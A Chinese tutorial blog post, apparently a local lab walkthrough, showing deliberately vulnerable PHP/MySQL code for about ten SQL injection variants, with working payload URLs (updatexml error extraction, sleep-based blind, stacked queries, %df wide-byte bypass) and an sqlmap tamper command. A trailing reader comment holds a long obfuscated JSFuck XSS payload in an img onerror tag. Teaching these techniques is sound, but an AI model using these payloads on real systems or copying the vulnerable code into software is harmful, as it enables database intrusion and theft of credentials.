$con=mysqli_connect("localhost","root","root"); mysqli_select_db($con,'sql'); if (mysqli_connect_errno()) echo "数据库连接出错:".mysql_connect_error(); $id=$_GET["id"]; $result=mysqli_query($con,"select * from users where id=$id"); $row=mysqli_fetch_array($result); echo $row['username'].":".$row['address']; echo "
";

源码分析:没有进行任何过滤,将利用GET方法获取到的参数id的值拼接到SQL语句当中使之执行。

Boolean型注入源码:

$con=mysqli_connect("localhost","root","root","sql"); if (mysqli_connect_errno()) { echo "连接失败:".mysqli_connect_error(); $id=$_GET["id"]; if (preg_match("/union|sleep|benchmark/i", $id)) { exit("nonono"); $result=mysqli_query($con,"select * from users where id=$id"); $row=mysqli_fetch_array($result); if ($row) { exit("yes"); }else{ exit("no");

分析:(preg_match("/union|sleep|benchmark/i", $id) 在$id中所搜索是否存在union|sleep|benchmark且不区分大小写,如果存在就停止程序执行,并抛出nonono。当执行完SQL语句,结果存在,输出yes,,不存在则输出no。不会输出查询结果,只会输出yes或者no表示是否存在查询数据。

报错型注入:

$con=mysqli_connect('localhost','root','root','sql'); if (mysqli_connect_errno()) { echo "连接失败:".mysqli_connect_errno(); $username=$_GET['username']; $sql="select * from users where username='$username'"; $result=mysqli_query($con,$sql); if ($result) { echo "OK"; }else{ echo mysqli_error($con);

分析:如果SQL语句执行出错,则会调用mysqli_error()输出报错信息,可以利用这个进行报错注入。

1,单引号发现报错,并输出了报错详情

2,使用updatexml()函数进行报错

当前用户:http://127.0.0.1/sql_updatexml.php?username=aa' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

当前数据库:http://127.0.0.1/sql_updatexml.php?username=aa' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

获取所有的库名:http://127.0.0.1/sql_updatexml.php?username=aa'
and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e),1)--+

获取指定库中的表名:http://127.0.0.1/sql_updatexml.php
?username=aa' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='mysql' limit 0,1),0x7e),1)--+

查询数据:http://127.0.0.1/sql_updatexml.php
?username=aa' and updatexml(1,concat(0x7e,(select host,user from mysql.user limit 0,1),0x7e),1)--+

时间注入源码:

$con=mysqli_connect('localhost','root','root'); mysqli_select_db($con,'sql'); if (mysqli_connect_errno()) { echo "连接失败:".mysqli_connect_error(); $id=$_GET['id']; if (preg_match("/union|ordey|coushu/i", $id)) { exit("<hmtl><body>nononono</body></html>"); $sql="select * from users where id='$id'"; $result=mysqli_query($con,$sql); if(!$result){ echo "查询出错:".mysqli_error($con); $row=mysqli_fetch_array($result); if ($row) { exit("<hmtl><body>yes</body></html>"); }else{ exit("no");

根据时间注入获取用户名: http://127.0.0.1/sql_sleep.php?id=1%27%20and%20if(ord(substring(user(),1,1))=114,sleep(15),1)--+

if(ord(substring(user(),1,1))=114,sleep(15),1) :判断当前用户的第一个字母的ascii码是否为114,如果是则执行sleep(15),页面延迟15秒

if(length (database())>1,sleep(5),1):如果数据库库名的长度大于1,则MySQL查询休眠5秒,否则查询1。

当然同时也存在其他类型的注入漏洞

堆叠查询注入源码:

在堆叠注入中,虽然使用了PDO方式进行数据查询,但是仍然采用了将参数ID拼接到SQL语句的方式,这样导致预编译没有起效果,因此仍然存在SQL注入漏洞。

使用PDO执行SQL语句,虽然可以执行多条语句,但是只会返回第一条语句的执行结果。所以只能在第二条语句中用update更新数据或者使用时间盲注获取数据。

try { $con=new PDO("mysql:host=localhost;dbname=sql","root","root"); $con->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION); //$sql="select * from users where id='".$_GET['id']."'"; //echo $sql; $result=$con->query("select * from users where id='".$_GET['id']."'"); $rowall=$result->setFetchMode(PDO::FETCH_ASSOC); foreach ($result->fetchALL() as $k => $v) { foreach ($v as $key => $value) { echo $value."<br>"; $dsn=null; } catch (PDOException $e) { echo "error"; $con=null;

http://127.0.0.1/sql_sqlpdo.php?id=13';select if(ord(substring(user(),1,1))=114,sleep(3),1);#

上述的SQL语句是:select * from users where id ='1';select if(ord(substring(user(),1,1))=114,sleep(3),1);

;分号将SQL语句分成了两条,第一条select * from users where id ='1';第二条select * from users where id ='1';PDO只会显示第一条的运行结果,因为第二条只能构造时间盲注的语句,通过判断页面响应的速度来返回数据。

二次注入源码:

累了 等不累的时候再更新

第一次注入源码:往数据库内插入数据的时候,单引号进行了转义,无法闭合单引号。

$con=mysqli_connect('localhost','root','root'); mysqli_select_db($con,'sql'); $username=$_GET['username']; echo $username."<br \>"; $address=$_GET['address']; echo $address."<br \>"; if(empty($username)){ echo "请输入姓名"; }else{ $username=addslashes($username); echo "转义后的姓名参数:" .$username."<br \>"; if (empty($address)) { echo "请输入地址"; }else{ $address=addslashes($address); echo "转义后的地址参数:" .$address."<br \>"; //$sql="insert into users(id,username,address,gender) values(13,'$name','$address','$gender')"; $sql="insert into users(username,address) values('$username','$address')"; echo "$sql"; $result=mysqli_query($con,$sql); echo "新id为:".mysqli_insert_id($con);

运行截图:

代码分析:username参数和addresss参数使用addslashes()函数进行了转义,单引号之前加了反斜杠,导致单引号无法闭合,此时的sql语句是:可以看到有反斜杠

insert into users(username,address) values('123\'','123412\'')新id为:0

但是,重点来了,值得注意的是,当这些数据插入到数据库的时候 ,自动取消掉了反斜杠,但是单引号却保留下来了,这就给二次注入留下了基础。

第二次注入源码:

$con=mysqli_connect('localhost','root','root'); mysqli_select_db($con,'sql'); if (mysqli_connect_errno()) { echo "连接失败:".mysqli_connect_error(); $id=intval($_GET['id']); $sql="select * from users where id=$id"; echo "SQL语句是:".$sql."<br>"; $result=mysqli_query($con,$sql); $row=mysqli_fetch_array($result); $username=$row['username']; echo "此时读取出来的姓名参数是:".$username."<br>"; $sql2="select * from users where 'username'='$username'"; echo "将姓名拼接到sql的语句是:".$sql2."<br>"; $result2=mysqli_query($con,$sql2); if ($row2=mysqli_fetch_array($result2)) { echo $row2['username'].":".$row2['address']; }else{ echo mysqli_error($con);

运行结果:

代码分析:将之前插入数据库内的带有单引号的姓名shy',拼接到查询sql语句当中,产生报错注入。因此二次注入需要不断的往数据库内插入payload,然后不断的读取运行。哈哈哈。

intval()函数将参数id转换成整形,防止SQL注入。

宽字节注入源码

//header("Content-Type: text/html; charset=gb2312"); $id=isset($_GET['id'])?addslashes($_GET['id']):11;//使用addslashes()对参数$id进行了过滤 $con=mysqli_connect('localhost','root','root'); mysqli_select_db($con,'sql'); $sql="select * from users where id='$id'"; echo "sql语句是:".$sql.'<br />'; $result=mysqli_query($con,$sql); if (!$result) { echo "查询失败"; while ($row=mysqli_fetch_row($result)) { echo "id 是".$row[0].'<br>'; echo "名字是".$row[1].'<br>'; mysqli_close($con);

可以看到在第二行addslashes($_GET['id']),使用了addslashes()函数对传入的参数$id的值进行了过滤。

addslashes()函数的用法

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

  • 单引号(')
  • 双引号(")
  • 反斜杠(\)
  • NULL

提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

1,正常: http://127.0.0.1/sqlunion.php?id=11

2,过滤反斜杠(\): http://127.0.0.1/sqlunion.php?id=11\

3,过滤双引号("): http://127.0.0.1/sqlunion.php?id=11 "

无法进行测试:可以看到由于引入了反斜杠(\),无法让sql语句报错。

设置数据库为gbk编码

直接修改数据库编码不成功的可以在代码中加上这一句:

访问:127.0.0.1/sqlunion.php?id=5%df'

5%df'在传入后变成了5%df\'  而\的url编码是%5c   所以最后变成了 5%df%5c‘  变成了  5運

而多了的一个单引号导致了报错。

又可以愉快的测试了:

cookie注入源码:

cookie注入的产生主要是因为代码中使用了$_COOKIE['id'],从浏览器cookie中获取数据,然后拼接到SQL语句中带入进行查询。

include 'conn.php'; $id=$_COOKIE['id']; $value="1"; setcookie("id",$value); $sql="select * from users where id=$id"; $result=mysqli_query($conn,$sql); if (!$result) { echo "error:".mysqli_error($conn); $row=mysqli_fetch_array($result); echo $row['username'].":".$row['address']; echo "<br>";

运行效果:

更改cookie中id的值,查询结果也发生了变化

加上单引号产生报错:

代码分析:其实和union注入没有什么区别,只不过一个是从get方式得到参数,一个是从cookie中获得参数。

抓包从指定cookie中存在注入的字段,就可以用SQLmap进行跑数据局了。

base64注入源码

其实本质上和最简单的union注入一样,只不过它在获取到参数ID的值之后,进行了一步base6解码操作,因此我们只需要在注入之前先将payload进行base64加密操作。

include 'conn.php'; $id=base64_decode($_GET['id']); $sql="select * from users where id=$id"; echo "$sql"; echo "<br>"; $result=mysqli_query($conn,$sql); if (!$result) { echo "查询失败:".mysqli_error($conn); $row=mysqli_fetch_array($result); print_r($row); echo $row['id'].":".$row['username']."<br>";

运行结果:

http://127.0.0.1/sql_base64.php?id=1

base64编码之后: MQ== 是1的base64编码

http://127.0.0.1/sql_base64.php?id=MQ==

SQLmap中使用base64encode.py的tamper进行base64注入:

py -2 sqlmap.py -u "http://127.0.0.1/sql_base64.php?id=1*" -p id --tamper base64encode.py --batch

X-Forwarded-For注入源码:

X-Forwarded-For是http请求头中的字段,用来记录客户端的IP地址,如果网站对该字段的值进行了数据库操作的话就会产生SQL注入漏洞。

include 'conn.php'; if (getenv('HTTP_CLIENT_IP')) { $ip=getenv('HTTP_CLIENT_IP'); }elseif (getenv('HTTP_X_FORWARDED_FOR')) { $ip=getenv('HTTP_X_FORWARDED_FOR'); }elseif (getenv('REMOTE_ADDR')) { $ip=getenv('REMOTE_ADDR'); }else{ $ip=$HTTP_SERVER_VARS['REMOTE_ADDR']; $sql="select * from users where ip=$ip"; echo "数据库语句是:".$sql; echo "<br>"; $result=mysqli_query($conn,$sql); if (!$result) { echo "error:.".mysqli_error($conn); exit(); $row=mysqli_fetch_array($result); echo $row['username'].":".$row['address']; echo "<br>";

运行效果:

X-Forwarded-For字段的值是我们可控的,并且拼接到了SQL语句当中,产生了SQL注入漏洞。

断断续续的写了快一周,终于写完了。

数据库设置:union注入源码:&lt;?php $con=mysqli_connect("localhost","root","root");mysqli_select_db($con,'sql');if (mysqli_connect_errno()){ echo "数据库连接出错:".mysql_connect_error();}$id=$_GET["id"];$result=mysqli_query($con,"select * from users where id= m0_73684130: <img src=1 onerror=[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+( JSFinder使用方法 万物为静以终: 问一下什么是深度爬取呢? 内网之靶场之VulnStack红队(五) shy014: 因为我用的是低版本的Windows,高版本的需要改注册表 Python之第十二章 处理Excel电子表格 csdndeuser: 请教下,openpyxl.load_workbook()函数打开了Excel文档,处理完成后不需要关闭文件吗 表情包 hackthebox注册教程 猫7904: 怎么看不懂的